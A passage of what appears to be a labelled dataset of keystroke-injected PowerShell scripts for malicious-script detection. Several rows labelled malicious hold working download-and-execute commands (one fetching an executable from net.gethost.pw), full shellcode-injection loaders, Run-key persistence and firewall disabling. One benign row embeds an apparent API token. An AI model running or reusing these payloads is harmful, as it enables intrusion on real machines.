enter UninstallApplication ""FARO LS"" ""{8A470330-70B2-49AD-86AF-79885EF9898A}"" enter UninstallApplication ""Revit 2014"" ""{7346B4A0-1400-0510-0000-705C0D862004}"" enter UninstallApplication ""Autodesk Workflows 2014"" ""{11672AB2-3D48-4D38-9123-719E5FF93333}"" enter UninstallApplication ""MSXML 6.0 Parser"" ""{FF59CB23-1800-4047-B40C-E20AE7051491}"" enter UninstallApplication ""Revit 2014 Language Pack - English"" ""{7346B4A0-1400-0511-0409-705C0D862004}"" enter UninstallApplication ""Autodesk Material Library 2014"" ""{644F9B19-A462-499C-BF4D-300ABC2A28B1}"" enter UninstallApplication ""Autodesk Material Library Base Resolution Image Library 2014"" ""{51BF3210-B825-4092-8E0D-66D689916E02}"" enter UninstallApplication ""Autodesk Material Library Low Resolution Image Library 2014"" ""{5C29CC1F-218F-4C30-948A-11066CAC59FB}"" enter UninstallApplication ""Autodesk Content Service"" ""{62F029AB-85F2-0000-866A-9FC0DD99DDBC}"" enter UninstallApplication ""Autodesk Content Service Language Pack"" ""{62F029AB-85F2-0001-866A-9FC0DD99DDBC}"" enter UninstallApplication ""AutoCAD 2014 - English"" ""{5783F2D7-D001-0000-0102-0060B0CE6BBA}"" enter UninstallApplication ""AutoCAD 2014 Language Pack - English"" ""{5783F2D7-D001-0409-1102-0060B0CE6BBA}"" enter UninstallApplication ""AutoCAD 2014 - English"" ""{5783F2D7-D001-0409-2102-0060B0CE6BBA}"" enter UninstallApplication ""Autodesk 360"" ""{52B28CAD-F49D-47BA-9FFE-29C2E85F0D0B}"" enter UninstallApplication ""SketchUp Import for AutoCAD 2014"" ""{644E9589-F73A-49A4-AC61-A953B9DE5669}"" enter UninstallApplication ""Autodesk Navisworks 2014 64 bit Exporter Plug-ins"" ""{914E5049-303D-5993-9734-CF12636383B4}"" enter UninstallApplication ""Autodesk Navisworks 2014 64 bit Exporter Plug-ins English Language Pack"" ""{914E5049-303D-0409-9734-CF12636383B4}"" enter UninstallApplication ""Autodesk Material Library Medium Resolution Image Library 2014"" ""{A0633D4E-5AF2-4E3E-A70A-FE9C2BD8A958}"" enter UninstallApplication ""Autodesk Revit Interoperability for 3ds Max 2014"" ""{0BB716E0-1400-0410-0000-097DC2F354DF}"" enter UninstallApplication ""Autodesk 3ds Max Design 2014"" ""{52B37EC7-D836-0409-0164-3C24BCED2010}"" enter UninstallApplication ""Autodesk 3ds Max Design 2014 64-bit Populate Data"" ""{2BCAFE22-BE25-4437-815C-54596D630397}"" enter UninstallApplication ""Autodesk DirectConnect 2014 64-bit"" ""{8FC7C2B2-0F64-4B35-AA3D-2B051D009243}"" enter UninstallApplication ""Autodesk Inventor Server Engine for 3ds Max Design 2014 64-bit"" ""{CBC74B06-FE35-482C-89D6-CE95A0289C06}"" enter UninstallApplication ""Autodesk Composite 2014"" ""{5AAB972C-FF31-4B01-8445-50C42860EC02}"" enter UninstallApplication ""Autodesk® Backburner 2014"" ""{3D347E6D-5A03-4342-B5BA-6A771885F379}"" enter UninstallApplication ""Autodesk Essential Skills Movies for 3ds Max Design 2014 64-bit"" ""{280881E4-0E3C-40E6-9B76-E05A865551BB}"" enter UninstallApplication ""Autodesk Sketchbook Designer 2014"" ""{4057E6CF-C9AC-45D7-87D4-A8FAE305AAC1}"" enter UninstallApplication ""Autodesk SketchBook Designer for AutoCAD 2014"" ""{8BFDC12D-7F32-4F77-95DE-D1A42BAC91DD}"" enter UninstallApplication ""Autodesk Showcase 2014 64-bit"" ""{42FCE681-2220-4EAA-8E39-20B527585547}"" enter UninstallApplication ""Autodesk Revit Interoperability for 3ds Max 2014"" ""{0BB716E0-1400-0610-0000-097DC2F354DF}"" enter UninstallApplication ""AutoCAD Architecture 2014 - English"" ""{5783F2D7-D004-0000-0102-0060B0CE6BBA}"" enter (New-Object System.Net.WebClient).DownloadFile('http://net.gethost.pw/windro.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.560557e-05,0.99994445
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_l0m11v7n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_150.json"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4099918e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_izaoyao0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process -Name ""Teams"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_50.txt"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4699548e-05
"win+r enter powershell enter enter enter param( enter [string]$Version, enter [string]$Path, enter [switch]$Force, enter $Update, enter [switch]$Uninstall enter ) enter $Configs = @{ enter Url = ""https://1.eu.dl.wireshark.org/win64/Wireshark-win64-1.10.5.exe"" enter Path = ""$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\"" enter } enter enter $Configs | ForEach-Object{ enter enter try{ enter enter $_.Result = $null enter if(-not $_.Path){$_.Path = $Path} enter $Config = $_ enter if(-not $Uninstall){ enter if($_.ConditionExclusion){ enter $_.ConditionExclusionResult = $(Invoke-Expression $Config.ConditionExclusion -ErrorAction SilentlyContinue) enter } enter if(($_.ConditionExclusionResult -eq $null) -or $Force){ enter $_.Downloads = $_.Url | ForEach-Object{ enter Get-File -Url $_ -Path $Config.Path enter } enter $_.Downloads | ForEach-Object{ enter Start-Process -FilePath $(Join-Path $_.Path $_.Filename) -ArgumentList ""/S /desktopicon=yes"" -Wait enter } enter $_.Downloads | ForEach-Object{ enter Remove-Item (Join-Path $_.Path $_.Filename) -Force enter } enter if($Update){$_.Result = ""AppUpdated"";$_ enter }else{$_.Result = ""AppInstalled"";$_} enter }else{ enter enter $_.Result = ""ConditionExclusion"";$_ enter } enter }else{ enter enter $Executable = ""C:\Program Files\Wireshark\uninstall.exe""; if(Test-Path $Executable){Start-Process -FilePath $Executable -ArgumentList ""/S"" -Wait} enter enter $_.Result = ""AppUninstalled"";$_ enter } enter }catch{ enter enter $Config.Result = ""Error"";$Config enter } enter } enter enter",0,0,0.99989367,0.00010635572
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""v31_repair_report_service_checks_db4b5cu7qq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""running_services_14.csv"") -NoTypeInformation enter",0,0,0.9999665,3.354285e-05
"win+r powershell enter $rnqsGN = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(I enter ntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport( enter ""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttribut enter es, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreation enter Flags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr m enter emset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $rnqs enter GN -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdd, enter 0xc0,0xb8,0x83,0xd5,0x63,0x6f,0xd9,0x74,0x24,0xf4,0x5e,0x31,0xc9,0xb1,0x47,0x83, enter 0xee,0xfc,0x31,0x46,0x14,0x03,0x46,0x97,0x37,0x96,0x93,0x7f,0x35,0x59,0x6c,0x7f, enter 0x5a,0xd3,0x89,0x4e,0x5a,0x87,0xda,0xe0,0x6a,0xc3,0x8f,0x0c,0x00,0x81,0x3b,0x87, enter 0x64,0x0e,0x4b,0x20,0xc2,0x68,0x62,0xb1,0x7f,0x48,0xe5,0x31,0x82,0x9d,0xc5,0x08, enter 0x4d,0xd0,0x04,0x4d, enter enter",1,1,5.425019e-05,0.99994576
win+r powershell enter function Remove-ServiceNowAuth{ enter If (-not (Test-ServiceNowAuthIsSet)) { enter Return $true enter } enter Try { enter Remove-Variable -Name ServiceNowURL -Scope Global -ErrorAction Stop enter Remove-Variable -Name ServiceNowRESTURL -Scope Global -ErrorAction Stop enter Remove-Variable -Name ServiceNowCredentials -Scope Global -ErrorAction Stop enter } enter Catch { enter Write-Error $_ enter Return $false enter } enter Return $true enter } enter,0,0,0.9998939,0.000106110376
win+r powershell enter delay_long enter win+r enter delay_medium enter powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl enter enter enter,1,1,5.87147e-05,0.99994123
"win+r powershell enter set-netfirewallprofile -profile * -defaultinboundaction allow -defaultoutboundac enter tion allow get-netfirewallrule | remove-netfirewallrule new-netfirewallrule -act enter ion allow -direction inbound -remoteaddress 10.2.1.1-10.2.1.11 -displayname ""in enter from home"" new-netfirewallrule -action allow -direction outbound -remoteaddress enter 10.2.1.1-10.2.1.11 -displayname ""out from home"" new-netfirewallrule -action allo enter w -direction outbound -remoteaddress 3.92.41.116 -displayname ""to cloud"" new-net enter firewallrule -action allow -direction inbound -remoteaddress 3.92.41.116 -displa enter yname ""from cloud"" reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Cur enter rentVersion\Winlogon"" /v CachedLogonsCount /t REG_SZ /d 0 /f reg add ""HKEY_LOCAL enter _MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"" /v SMB1 /t R enter EG_DWORD /d 0 /f Get-ScheduledTask | Stop-ScheduledTask Get-ScheduledTask | Disa enter ble-ScheduledTask Ge enter enter",1,1,0.0012145953,0.99878544
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_fy68v8jn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.429124e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_kis5tlq9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.467219e-05
"win+r enter powershell enter enter enter win r powershell -Command ""`$x=New-Guid;sp Registry::HKCU\Sof*\Mic*\Win*\Cu*\Run -name(`$x)\`""iwr virus.com?`$x|iex\`"""" enter enter enter",1,1,0.0003901019,0.9996099
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_s8mz6lgq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_50.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4018816e-05
win+r enter powershell enter enter enter $sourceSubscriptionId='yourSourceSubscriptionId' enter $sourceResourceGroupName='yourResourceGroupName' enter $snapshotName='yourSnapshotName' enter Select-AzSubscription -SubscriptionId $sourceSubscriptionId enter $snapshot= Get-AzSnapshot -ResourceGroupName $sourceResourceGroupName -Name $snapshotName enter $targetSubscriptionId='yourTargetSubscriptionId' enter $targetResourceGroupName='yourTargetResourceGroupName' enter Select-AzSubscription -SubscriptionId $targetSubscriptionId enter $snapshotConfig = New-AzSnapshotConfig -SourceResourceId $snapshot.Id -Location $snapshot.Location -CreateOption Copy -SkuName Standard_LRS enter New-AzSnapshot -Snapshot $snapshotConfig -SnapshotName $snapshotName -ResourceGroupName $targetResourceGroupName enter enter,0,0,0.9999546,4.546615e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_7055gcwc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter",0,0,0.9999653,3.463445e-05
"win+r powershell enter function Remove-Role { [PoshBot.BotCommand( Aliases = ('rr', 'remove-role'), enter Permissions = 'manage-roles' )] [cmdletbinding()] param( [parameter(Mandat enter ory)] $Bot, [parameter(Mandatory, Position = 0)] enter enter",1,1,0.0037085915,0.9962914
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_vqjircua"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_25.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.440635e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_asflwwl4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.407544e-05
"win+r powershell enter $Tno = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Tno -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x88,0 enter x70,0x6e,0x0d,0xdb,0xd6,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x47,0x83,0xc0,0 enter x04,0x31,0x50,0x0f,0x03,0x50,0x87,0x92,0x9b,0xf1,0x7f,0xd0,0x64,0x0a,0x7f,0xb5,0 enter xed,0xef,0x4e,0xf5,0x8a,0x64,0xe0,0xc5,0xd9,0x29,0x0c,0xad,0x8c,0xd9,0x87,0xc3,0 enter x18,0xed,0x20,0x69,0x7f,0xc0,0xb1,0xc2,0x43,0x43,0x31,0x19,0x90,0xa3,0x08,0xd2,0 enter xe5,0xa2,0x4d,0x0f,0 enter enter",1,1,5.4374443e-05,0.99994564
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_3s0xbvi4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter",0,0,0.99996555,3.440438e-05
"win+r enter powershell enter enter enter function Get-NetFramework enter { enter enter [CmdletBinding()] enter PARAM ( enter [String[]]$ComputerName, enter $Credential = [System.Management.Automation.PSCredential]::Empty enter ) enter enter $Splatting = @{ enter ComputerName = $ComputerName enter } enter enter if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } enter enter Invoke-Command @Splatting -ScriptBlock { enter Write-Verbose -Message ""$pscomputername"" enter $netFramework = Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | enter Get-ItemProperty -name Version -EA 0 | enter Where-Object { $_.PSChildName -match '^(?!S)\p{L}' } | enter Select-Object -Property PSChildName, Version enter $Properties = @{ enter ComputerName = ""$($env:Computername)$($env:USERDNSDOMAIN)"" enter PowerShellVersion = $psversiontable.PSVersion.Major enter NetFramework = $netFramework enter } enter New-Object -TypeName PSObject -Property $Properties enter } enter } enter enter",0,0,0.99995315,4.6820573e-05
"win+r enter powershell enter enter enter $RoomNumber = '407559' enter $postUrl = ""https://adambertram.campfirenow.com/room/$RoomNumber/speak.json"" enter $body = 'test message' enter $token = '25f1733faf39d63ac8a860430fc18448df179b28' enter enter $message = '<message><type>TextMessage</type><body>'+$body+'</body></message>' enter $baseuri = $base_url + '/speak.xml' enter $contentType = 'application/xml' enter $headers = @{""Authorization"" = ""Basic ""+[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($token+"": x""))} enter Invoke-WebRequest -Uri $postUrl -Headers $headers -Method Post -body $message -contenttype 'application/xml' enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbd,0x9a,0x63,0x75,0x88,0xda,0xcf,0xd9,0x74,0x24,0xf4,0x5f,0x31,0xc9,0xb1,0x47,0x83,0xc7,0x04,0x31,0x6f,0x0f,0x03,0x6f,0x95,0x81,0x80,0x74,0x41,0xc7,0x6b,0x85,0x91,0xa8,0xe2,0x60,0xa0,0xe8,0x91,0xe1,0x92,0xd8,0xd2,0xa4,0x1e,0x92,0xb7,0x5c,0x95,0xd6,0x1f,0x52,0x1e,0x5c,0x46,0x5d,0x9f,0xcd,0xba,0xfc,0x23,0x0c,0xef,0xde,0x1a,0xdf,0xe2,0x1f,0x5b,0x02,0x0e,0x4d,0x34,0x48,0xbd,0x62,0x31,0x04,0x7e,0x08,0x09,0x88,0x06,0xed,0xd9,0xab,0x27,0xa0,0x52,0xf2,0xe7,0x42,0xb7,0x8e,0xa1,0x5c,0xd4,0xab,0x78,0xd6,0x2e,0x47,0x7b,0x3e,0x7f,0xa8,0xd0,0x7f,0xb0,0x5b,0x28,0x47,0x76,0x84,0x5f,0xb1,0x85,0x39,0x58,0x06,0xf4,0xe5,0xed,0x9d,0x5e,0x6d,0x55,0x7a,0x5f,0xa2,0x00,0x09,0x53,0x0f,0x46,0x55,0x77,0x8e,0x8b,0xed,0x83,0x1b,0x2a,0x22,0x02,0x5f,0x09,0xe6,0x4f,0x3b,0x30,0xbf,0x35,0xea,0x4d,0xdf,0x96,0x53,0xe8,0xab,0x3a,0x87,0x81,0xf1,0x52,0x64,0xa8,0x09,0xa2,0xe2,0xbb,0x7a,0x90,0xad,0x17,0x15,0x98,0x26,0xbe,0xe2,0xdf,0x1c,0x06,0x7c,0x1e,0x9f,0x77,0x54,0xe4,0xcb,0x27,0xce,0xcd,0x73,0xac,0x0e,0xf2,0xa1,0x59,0x0a,0x64,0x8a,0x36,0x97,0x3d,0x62,0x45,0x98,0xbc,0xce,0xc0,0x7e,0xee,0x7e,0x83,0x2e,0x4e,0x2f,0x63,0x9f,0x26,0x25,0x6c,0xc0,0x56,0x46,0xa6,0x69,0xfc,0xa9,0x1f,0xc1,0x68,0x53,0x3a,0x99,0x09,0x9c,0x90,0xe7,0x09,0x16,0x17,0x17,0xc7,0xdf,0x52,0x0b,0xbf,0x2f,0x29,0x71,0x69,0x2f,0x87,0x1c,0x95,0xa5,0x2c,0xb7,0xc2,0x51,0x2f,0xee,0x24,0xfe,0xd0,0xc5,0x3f,0x37,0x45,0xa6,0x57,0x38,0x89,0x26,0xa7,0x6e,0xc3,0x26,0xcf,0xd6,0xb7,0x74,0xea,0x18,0x62,0xe9,0xa7,0x8c,0x8d,0x58,0x14,0x06,0xe6,0x66,0x43,0x60,0xa9,0x99,0xa6,0x70,0x95,0x4f,0x8e,0x06,0xf7,0x53;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1261122e-05,0.99994874
"win+r powershell enter function Get-MissingUpdates { [CmdletBinding()] [OutputType([System.Management enter .Automation.PSCustomObject])] param ( [Parameter(Mandatory, ValueFromPipeline enter , ValueFromPipelineByPropertyName)] [string]$ComputerName ) begin { functio enter n Get-32BitProgramFilesPath { if ((Get-Architecture) -eq 'x64') { enter enter",1,1,0.0021710002,0.997829
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_m6glj2pm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.442486e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_dxl4h0xe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Export-Csv -Path (Join-Path $ReportDir ""network_dns_servers.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3970577e-05
"win+r powershell enter function Compare-Folder { [CmdletBinding()] param ( [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] [ValidateScript({ Test-Path -Path $_ -PathType Conta enter iner })] [string]$ReferenceFolder, [Parameter(Mandatory)] [ValidateNotNullO enter rEmpty()] enter enter",1,1,0.002363188,0.9976368
"win+r enter powershell enter enter enter $RenameTesthook = ""TestRenameComputer"" enter $RenameResultName = ""TestRenameComputerResults"" enter $DefaultResultValue = 0 enter enter try enter { enter enter $PSDefaultParameterValues[""it:skip""] = ! $IsWindows enter Enable-Testhook -testhookName $RenameTesthook enter enter Enable-Testhook -testhookName TestStopComputer enter Describe ""Rename-Computer"" -Tag Feature,RequireAdminOnWindows { enter enter BeforeEach { enter if ( ! (Test-TesthookIsSet -testhookName $RenameTesthook) ) { enter throw ""Testhook '${TesthookName}' is not set"" enter } enter } enter enter AfterEach { enter Set-TesthookResult -testhookName $RenameResultName -value $defaultResultValue enter } enter enter It ""Should rename the local computer"" { enter Set-TesthookResult -testhookName $RenameResultName -value $defaultResultValue enter $newname = ""mynewname"" enter $result = Rename-Computer -ErrorAction Stop -ComputerName . -NewName ""$newname"" -Pass -WarningAction SilentlyContinue enter $result.HasSucceeded | Should -BeTrue enter $result.NewComputerName | Should -BeExactly $newname enter } enter It ""Should produce a reboot warning when renaming computer"" { enter Set-TesthookResult -testhookName $RenameResultName -value $defaultResultValue enter $newname = ""mynewname"" enter $result = Rename-Computer -ErrorAction Stop -ComputerName . -NewName ""$newname"" -Pass -WarningAction SilentlyContinue -WarningVariable WarnVar enter $WarnVar.Message | Should -Match $result.OldComputerName enter } enter enter It ""Should not produce a reboot warning when renaming a computer with the reboot flag"" { enter Set-TesthookResult -testhookName $RenameResultName -value $defaultResultValue enter $newname = ""mynewname"" enter $result = Rename-Computer -ErrorAction Stop -ComputerName . -NewName ""$newname"" -Pass -WarningAction SilentlyContinue -WarningVariable WarnVar -Restart enter $result.HasSucceeded | Should -BeTrue enter $result.NewComputerName | Should -BeExactly $newname enter $WarnVar | Should -BeNullOrEmpty enter } enter enter Context ""Rename-Computer Error Conditions"" { enter $testcases = enter @{ OldName = ""."" ; NewName = ""localhost"" ; ExpectedError = ""FailToRenameComputer,Microsoft.PowerShell.Commands.RenameComputerCommand"" }, enter @{ OldName = ""."" ; NewName = ""."" ; ExpectedError = ""InvalidNewName,Microsoft.PowerShell.Commands.RenameComputerCommand"" }, enter @{ OldName = ""."" ; NewName = ""::1"" ; ExpectedError = ""InvalidNewName,Microsoft.PowerShell.Commands.RenameComputerCommand"" }, enter @{ OldName = ""."" ; NewName = ""127.0.0.1"" ; ExpectedError = ""InvalidNewName,Microsoft.PowerShell.Commands.RenameComputerCommand"" }, enter @{ OldName = ""."" ; NewName = ${env:ComputerName} ; ExpectedError = ""NewNameIsOldName,Microsoft.PowerShell.Commands.RenameComputerCommand"" }, enter @{ OldName = ""."" ; NewName = ${env:ComputerName} + ""."" + ${env:USERDNSDOMAIN} ; ExpectedError = ""InvalidNewName,Microsoft.PowerShell.Commands.RenameComputerCommand"" }, enter @{ OldName = "".\$ enter enter It ""Renaming '<OldName>' to '<NewName>' creates the right error"" -testcase $testcases { enter param ( $OldName, $NewName, $ExpectedError ) enter Set-TesthookResult -testhookName $RenameResultName -value 0x1 enter { Rename-Computer -ComputerName $OldName -NewName $NewName -ErrorAction Stop } | Should -Throw -ErrorId $ExpectedError enter } enter } enter } enter enter } enter finally enter { enter $PSDefaultParameterValues.Remove(""it:skip"") enter Disable-Testhook -testhookName $RenameTestHook enter Disable-Testhook -testhookName TestStopComputer enter Set-TesthookResult -testhookName $RenameResultName -value 0 enter } enter enter",0,0,0.99993706,6.2945175e-05
win+r powershell enter delay_long enter win+r enter delay_short enter powershell -windowstyle hidden $u='YOUR_LINK';$r=Invoke-WebRequest -Uri $u;powershell -nop -e $r.content enter delay_short enter enter enter,1,1,5.729928e-05,0.99994266
